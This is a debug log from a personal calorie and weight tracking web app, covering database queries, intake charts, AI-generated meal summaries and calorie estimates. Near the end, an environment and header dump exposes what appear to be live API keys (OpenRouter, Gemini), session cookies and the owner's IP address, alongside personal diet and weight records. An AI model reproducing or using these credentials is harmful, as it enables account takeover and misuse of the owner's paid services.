      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T01:58:29.960Z server-connect:output summary: {
  summary: {
    rating: 2,
    summary: "Today's intake appears very light, primarily consisting of fruit and a pre-workout supplement. This level of consumption is unlikely to adequately support muscle development and fat loss goals, especially with a consistent gym routine. Recovery might be compromised due to insufficient nutrient intake throughout the day.",
    bad_points: [
      'Extremely low overall food intake.',
      'Likely inadequate protein for muscle development.',
      'Lack of balanced meals throughout the day.',
      'Insufficient fuel for recovery and sustained energy.'
    ],
    good_points: [
      'Consumed fruit for some nutrients.',
      'Utilized a pre-workout supplement to aid training.'
    ],
    suggestions: [
      'Incorporate a substantial protein source with each meal.',
      'Add complex carbohydrates and healthy fats to meals for sustained energy.',
      'Ensure adequate hydration throughout the day.',
      'Plan for balanced meals and snacks to support recovery and muscle growth.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T01:58:29.962Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '40',
    surplus_or_deficit: '2360',
    status_flag: 2
  }
]
2025-12-24T01:58:30.043Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-24T01:58:30.043Z server-connect:app Executing action step identify
2025-12-24T01:58:30.043Z server-connect:app options: { provider: 'security' }
2025-12-24T01:58:30.043Z server-connect:output identity: 1
2025-12-24T01:58:30.043Z server-connect:app Executing action step restrict
2025-12-24T01:58:30.043Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T01:58:30.044Z server-connect:output restrict: undefined
2025-12-24T01:58:30.044Z server-connect:app Executing action step select
2025-12-24T01:58:30.044Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-24T01:58:30.045Z server-connect:output items_consumed_today: [
  {
    id: 500,
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices'
  },
  {
    id: 501,
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  }
]
2025-12-24T01:58:30.045Z server-connect:app Executing action step paged
2025-12-24T01:58:30.045Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-24T01:58:30.047Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 18,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-21T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' }
  ]
}
2025-12-24T01:58:30.047Z server-connect:app Executing action step run
2025-12-24T01:58:30.047Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-24T01:58:30.048Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 500 | Jamfal (Guava) | 30 | 1 | 7 | 0 | 2 slices |\n' +
  '| 501 | Pre-workout supplement | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '\n'
2025-12-24T01:58:30.048Z server-connect:app Executing action step run
2025-12-24T01:58:30.048Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-24T01:58:30.049Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '\n'
2025-12-24T01:58:30.049Z server-connect:app Executing action step setvalue
2025-12-24T01:58:30.049Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-24T01:58:30.049Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 500 | Jamfal (Guava) | 30 | 1 | 7 | 0 | 2 slices |\n' +
  '| 501 | Pre-workout supplement | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '\n'
2025-12-24T01:58:30.049Z server-connect:app Executing action step processWithGemini
2025-12-24T01:58:30.049Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-24T01:58:30.511Z server-connect:app Executing action step identify
2025-12-24T01:58:30.512Z server-connect:app options: { provider: 'security' }
2025-12-24T01:58:30.512Z server-connect:output identity: 1
2025-12-24T01:58:31.708Z server-connect:output health_summary: {
  summary: "The day's nutritional intake appears quite limited, with only two items logged. While the pre-workout is standard for gym-goers, the sole food item is a fruit, which lacks the comprehensive nutrients needed for muscle development and recovery. Consistency in training is good, but the current dietary approach is unlikely to support your goals effectively.",
  rating: 2,
  good_points: [
    'Consistent gym attendance is a positive habit.',
    'Use of a pre-workout supplement is noted.'
  ],
  bad_points: [
    'Extremely low food intake for the day.',
    'Lack of protein sources to support muscle development and repair.',
    'Absence of balanced meals with carbohydrates and healthy fats.',
    'Insufficient fiber intake.'
  ],
  suggestions: [
    'Incorporate a protein-rich breakfast, lunch, and dinner.',
    'Include a variety of vegetables and whole grains in meals.',
    'Ensure adequate hydration throughout the day.',
    'Consider post-workout nutrition to aid recovery.'
  ],
  predicted_weight_trend: 'slight loss',
  predicted_weight: 70
}
2025-12-24T01:58:31.708Z server-connect:app Executing action step condition
2025-12-24T01:58:31.708Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-24T01:58:31.708Z server-connect:app Executing action step delete
2025-12-24T01:58:31.708Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-24T01:58:31.709Z server-connect:output delete: { affected: 1 }
2025-12-24T01:58:31.709Z server-connect:app Executing action step insert
2025-12-24T01:58:31.709Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-24T01:58:31.710Z server-connect:output insert: { affected: 1, identity: 60 }
2025-12-24T01:58:31.710Z server-connect:output condition: undefined
2025-12-24T01:58:31.993Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T01:58:31.994Z server-connect:app Executing action step identify
2025-12-24T01:58:31.994Z server-connect:app options: { provider: 'security' }
2025-12-24T01:58:31.994Z server-connect:output identity: 1
2025-12-24T01:58:31.994Z server-connect:app Executing action step restrict
2025-12-24T01:58:31.994Z server-connect:app options: { provider: 'security' }
2025-12-24T01:58:31.994Z server-connect:output restrict: undefined
2025-12-24T01:58:31.994Z server-connect:app Executing action step single
2025-12-24T01:58:31.994Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T01:58:31.995Z server-connect:output summary: {
  summary: {
    rating: 2,
    summary: "The day's nutritional intake appears quite limited, with only two items logged. While the pre-workout is standard for gym-goers, the sole food item is a fruit, which lacks the comprehensive nutrients needed for muscle development and recovery. Consistency in training is good, but the current dietary approach is unlikely to support your goals effectively.",
    bad_points: [
      'Extremely low food intake for the day.',
      'Lack of protein sources to support muscle development and repair.',
      'Absence of balanced meals with carbohydrates and healthy fats.',
      'Insufficient fiber intake.'
    ],
    good_points: [
      'Consistent gym attendance is a positive habit.',
      'Use of a pre-workout supplement is noted.'
    ],
    suggestions: [
      'Incorporate a protein-rich breakfast, lunch, and dinner.',
      'Include a variety of vegetables and whole grains in meals.',
      'Ensure adequate hydration throughout the day.',
      'Consider post-workout nutrition to aid recovery.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T02:00:14.059Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-24T02:00:14.060Z server-connect:app Executing action step identify
2025-12-24T02:00:14.060Z server-connect:app options: { provider: 'security' }
2025-12-24T02:00:14.060Z server-connect:output identity: 1
2025-12-24T02:00:14.060Z server-connect:app Executing action step restrict
2025-12-24T02:00:14.060Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T02:00:14.061Z server-connect:output restrict: undefined
2025-12-24T02:00:14.061Z server-connect:app Executing action step processWithGemini
2025-12-24T02:00:14.061Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-24T02:00:15.465Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Tea',
      quantity: '1 cup (240 ml)',
      calories_consumed: 2,
      total_calories: 2,
      protein: 0.5,
      carbs: 0.5,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Generally very low in calories, especially without milk or sugar. Good for hydration.'
    }
  ],
  total_macros: {
    protein: { value: 0.5, unit: 'g' },
    carbs: { value: 0.5, unit: 'g' },
    fat: { value: 0, unit: 'g' }
  }
}
2025-12-24T02:01:06.366Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-24T02:01:06.366Z server-connect:app Executing action step identify
2025-12-24T02:01:06.366Z server-connect:app options: { provider: 'security' }
2025-12-24T02:01:06.366Z server-connect:output identity: 1
2025-12-24T02:01:06.367Z server-connect:app Executing action step restrict
2025-12-24T02:01:06.367Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T02:01:06.367Z server-connect:output restrict: undefined
2025-12-24T02:01:06.367Z server-connect:app Executing action step processWithGemini
2025-12-24T02:01:06.367Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-24T02:01:08.011Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Alcohol',
      quantity: '180 ml',
      calories_consumed_per_unit: '7 calories/gram (approx. for pure alcohol)',
      total_calories: 1008,
      protein: 0,
      carbs: 0,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: "Alcohol provides 'empty calories' with no nutritional value, can impair muscle protein synthesis, and negatively impact recovery and sleep, which are crucial for muscle development. It can also lead to dehydration and hinder fat loss goals."
    }
  ],
  total_macros: { total_protein: 0, total_carbs: 0, total_fat: 0, unit: 'grams' }
}
2025-12-24T02:02:01.326Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-24T02:02:01.326Z server-connect:app Executing action step identify
2025-12-24T02:02:01.326Z server-connect:app options: { provider: 'security' }
2025-12-24T02:02:01.327Z server-connect:output identity: 1
2025-12-24T02:02:01.327Z server-connect:app Executing action step restrict
2025-12-24T02:02:01.327Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T02:02:01.327Z server-connect:output restrict: undefined
2025-12-24T02:02:01.327Z server-connect:app Executing action step processWithGemini
2025-12-24T02:02:01.328Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-24T02:02:03.509Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Paneer and Cheese Pizza',
      quantity: 'One 8 inch',
      calories_consumed: 700,
      total_calories: 700,
      protein: 35,
      carbs: 70,
      fat: 35,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'While paneer provides protein, an 8-inch pizza, especially with cheese, is typically high in refined carbohydrates, unhealthy fats, and sodium. For muscle development and a desk job, this can lead to excess calorie intake without sufficient nutrient density, potentially hindering muscle gain and promoting fat storage. The refined carbs can also cause energy crashes.'
    }
  ],
  total_macros: {
    protein: { value: 35, unit: 'g' },
    carbs: { value: 70, unit: 'g' },
    fat: { value: 35, unit: 'g' }
  }
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 02:03:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 02:03:16' as DATETIME)"
}
2025-12-24T02:04:22.875Z server-connect:router Serving templateView /weight-trackor
2025-12-24T02:04:22.876Z server-connect:app Executing action step identify
2025-12-24T02:04:22.876Z server-connect:app options: { provider: 'security' }
2025-12-24T02:04:22.876Z server-connect:output identity: 1
2025-12-24T02:04:22.876Z server-connect:app Executing action step restrict
2025-12-24T02:04:22.876Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T02:04:22.878Z server-connect:output restrict: undefined
2025-12-24T02:04:22.878Z server-connect:router Render template weight-trackor
2025-12-24T02:04:22.878Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.248.104',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.104',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
